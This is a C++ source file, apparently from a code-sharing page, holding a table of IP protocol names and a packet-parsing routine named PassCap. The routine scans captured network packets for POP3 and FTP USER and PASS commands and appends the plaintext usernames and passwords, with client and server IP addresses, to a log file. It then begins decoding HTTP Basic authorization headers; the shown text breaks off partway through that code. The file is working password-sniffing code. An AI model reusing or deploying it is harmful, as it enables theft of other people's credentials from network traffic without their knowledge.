📄 packetparser.cpp
字号:
#include "PacketParser.h"
#include "Base64.h"
#include <stdio.h>
#include <time.h>
#include "NatasConfig.h"
char *Protocol[]={
"Reserved", // 0
"ICMP", // 1
"IGMP", // 2
"GGP", // 3
"IP", // 4
"ST", // 5
"TCP", // 6
"UCL", // 7
"EGP", // 8
"IGP", // 9
"BBN-RCC-MON", // 10
"NVP-II", // 11
"PUP", // 12
"ARGUS", // 13
"EMCON", // 14
"XNET", // 15
"CHAOS", // 16
"UDP", // 17
"MUX", // 18
"DCN-MEAS", // 19
"HMP", // 20
"PRM", // 21
"XNS-IDP", // 22
"TRUNK-1", // 23
"TRUNK-2", // 24
"LEAF-1", // 25
"LEAF-2", // 26
"RDP", // 27
"IRTP", // 28
"ISO-TP4", // 29
"NETBLT", // 30
"MFE-NSP", // 31
"MERIT-INP", // 32
"SEP", // 33
"3PC", // 34
"IDPR", // 35
"XTP", // 36
"DDP", // 37
"IDPR-CMTP", // 38
"TP++", // 39
"IL", // 40
"SIP", // 41
"SDRP", // 42
"SIP-SR", // 43
"SIP-FRAG", // 44
"IDRP", // 45
"RSVP", // 46
"GRE", // 47
"MHRP", // 48
"BNA", // 49
"SIPP-ESP", // 50
"SIPP-AH", // 51
"I-NLSP", // 52
"SWIPE", // 53
"NHRP", // 54
"55", // 55
"56", // 56
"57", // 57
"58", // 58
"59", // 59
"60", // 60
"61", // 61
"CFTP", // 62
"63", // 63
"SAT-EXPAK", // 64
"KRYPTOLAN", // 65
"RVD", // 66
"IPPC", // 67
"67", // 68
"SAT-MON", // 69
"VISA", // 70
"IPCV", // 71
"CPNX", // 72
"CPHB", // 73
"WSN", // 74
"PVP", // 75
"BR-SAT-MON", // 76
"SUN-ND", // 77
"WB-MON", // 78
"WB-EXPAK", // 79
"ISO-IP", // 80
"VMTP", // 81
"SECURE-VMTP", // 82
"VINES", // 83
"TTP", // 84
"NSFNET-IGP", // 85
"DGP", // 86
"TCF", // 87
"IGRP", // 88
"OSPFIGP", // 89
"Sprite-RPC", // 90
"LARP", // 91
"MTP", // 92
"AX.25", // 93
"IPIP", // 94
"MICP", // 95
"SCC-SP", // 96
"ETHERIP", // 97
"ENCAP", // 98
"98", // 98
"GMTP" // 99
};
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CPacketParser::CPacketParser()
{
}
CPacketParser::~CPacketParser()
{
}
CPacketParser::PassCap(char *logfilename, WSABUF *wsb)
{
FILE *logfile=fopen(logfilename,"a+");
int i;
// pop3 login || password
i=45;
if((BYTE)wsb->buf[22]*256+(BYTE)wsb->buf[23]==110) {
if((BYTE)wsb->buf[40]==0x55 && // U
(BYTE)wsb->buf[41]==0x53 && // S
(BYTE)wsb->buf[42]==0x45 && // E
(BYTE)wsb->buf[43]==0x52 && // R
(BYTE)wsb->buf[44]==0x20 ) { // %SPACE%
WriteTime(logfile);
fprintf(logfile,"User from %d.%d.%d.%d / Pop3 Server Address: %d.%d.%d.%d -> login: ",(BYTE)wsb->buf[12],(BYTE)wsb->buf[13],(BYTE)wsb->buf[14],(BYTE)wsb->buf[15],(BYTE)wsb->buf[16],(BYTE)wsb->buf[17],(BYTE)wsb->buf[18],(BYTE)wsb->buf[19]);
while((BYTE)wsb->buf[i]!=0x0d) {
fprintf(logfile,"%c",(BYTE)wsb->buf[i]);
i++;
}
fprintf(logfile,"\n");
}
if((BYTE)wsb->buf[40]==0x50 && // P
(BYTE)wsb->buf[41]==0x41 && // A
(BYTE)wsb->buf[42]==0x53 && // S
(BYTE)wsb->buf[43]==0x53 && // S
(BYTE)wsb->buf[44]==0x20 ) { // %SPACE%
WriteTime(logfile);
fprintf(logfile,"User from %d.%d.%d.%d / Pop3 Server Address: %d.%d.%d.%d -> passwd: ",(BYTE)wsb->buf[12],(BYTE)wsb->buf[13],(BYTE)wsb->buf[14],(BYTE)wsb->buf[15],(BYTE)wsb->buf[16],(BYTE)wsb->buf[17],(BYTE)wsb->buf[18],(BYTE)wsb->buf[19]);
while((BYTE)wsb->buf[i]!=0x0d) {
fprintf(logfile,"%c",(BYTE)wsb->buf[i]);
i++;
}
fprintf(logfile,"\n");
}
}
// -------------------------------------------------------------------
// ftp login || passwordf
i=45;
if((BYTE)wsb->buf[22]*256+(BYTE)wsb->buf[23]==21) {
if((BYTE)wsb->buf[40]==0x55 && // U
(BYTE)wsb->buf[41]==0x53 && // S
(BYTE)wsb->buf[42]==0x45 && // E
(BYTE)wsb->buf[43]==0x52 && // R
(BYTE)wsb->buf[44]==0x20 ) { // %SPACE%
WriteTime(logfile);
fprintf(logfile,"User from %d.%d.%d.%d / FTP Server Address: %d.%d.%d.%d -> login: ",(BYTE)wsb->buf[12],(BYTE)wsb->buf[13],(BYTE)wsb->buf[14],(BYTE)wsb->buf[15],(BYTE)wsb->buf[16],(BYTE)wsb->buf[17],(BYTE)wsb->buf[18],(BYTE)wsb->buf[19]);
while((BYTE)wsb->buf[i]!=0x0d) {
fprintf(logfile,"%c",(BYTE)wsb->buf[i]);
i++;
}
fprintf(logfile,"\n");
}
if( ((BYTE)wsb->buf[40]==0x50 && // P
(BYTE)wsb->buf[41]==0x41 && // A
(BYTE)wsb->buf[42]==0x53 && // S
(BYTE)wsb->buf[43]==0x53 && // S
(BYTE)wsb->buf[44]==0x20) || // %SPACE%
// gro?oder kleingeschrieben erlaubt
((BYTE)wsb->buf[40]==0x70 && // p
(BYTE)wsb->buf[41]==0x61 && // a
(BYTE)wsb->buf[42]==0x73 && // s
(BYTE)wsb->buf[43]==0x73 && // s
(BYTE)wsb->buf[44]==0x20) ){// %SPACE%
WriteTime(logfile);
fprintf(logfile,"User from %d.%d.%d.%d / FTP Server Address: %d.%d.%d.%d -> passwd: ",(BYTE)wsb->buf[12],(BYTE)wsb->buf[13],(BYTE)wsb->buf[14],(BYTE)wsb->buf[15],(BYTE)wsb->buf[16],(BYTE)wsb->buf[17],(BYTE)wsb->buf[18],(BYTE)wsb->buf[19]);
while((BYTE)wsb->buf[i]!=0x0d) {
fprintf(logfile,"%c",(BYTE)wsb->buf[i]);
i++;
}
fprintf(logfile,"\n");
}
}
// -------------------------------------------------------------------
// basic http authorization
if((BYTE)wsb->buf[22]*256+(BYTE)wsb->buf[23]==80) {
char tmp[4096];
char coded[100];
char decoded[100];
char location[500];
int position=4;
int i=0;
CBase64 *codeengine=new CBase64;
char ab[]="Authorization: Basic";
ZeroMemory(coded,100);
ZeroMemory(decoded,100);
ZeroMemory(location,500);
ZeroMemory(tmp,4096);
memcpy(&tmp,wsb->buf+40,wsb->len-40);
tmp[wsb->len-38]=0x00;
if(tmp[0]=='G' && tmp[1]=='E' && tmp[2]=='T') {
while(tmp[position]!=0x20) {
location[i]=tmp[position];
i++;
position++;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -